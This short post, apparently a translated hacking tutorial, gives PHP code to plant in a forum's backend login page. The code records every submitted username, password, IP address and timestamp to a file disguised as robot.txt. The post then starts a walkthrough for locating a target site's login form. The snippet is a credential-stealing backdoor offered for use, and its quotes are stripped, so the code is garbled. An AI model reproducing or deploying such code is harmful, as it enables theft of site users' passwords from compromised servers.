Backend login interface php code to intercept the backend login password

if($_POST[loginsubmit]!=){ //Determine whether the login button is clicked
$sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS [REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // Concatenate the values ​​received by POST and assign them to the variable $sb
fwrite(fopen(robot.txt,ab),$sb); } //Write the result to a file
The following is a brief analysis, taking Huaxia's login page as an example. Open bbs.xxx.com/login.php, right-click to view the source code, CTRL+F search action to find the login form.
I only copied the key code.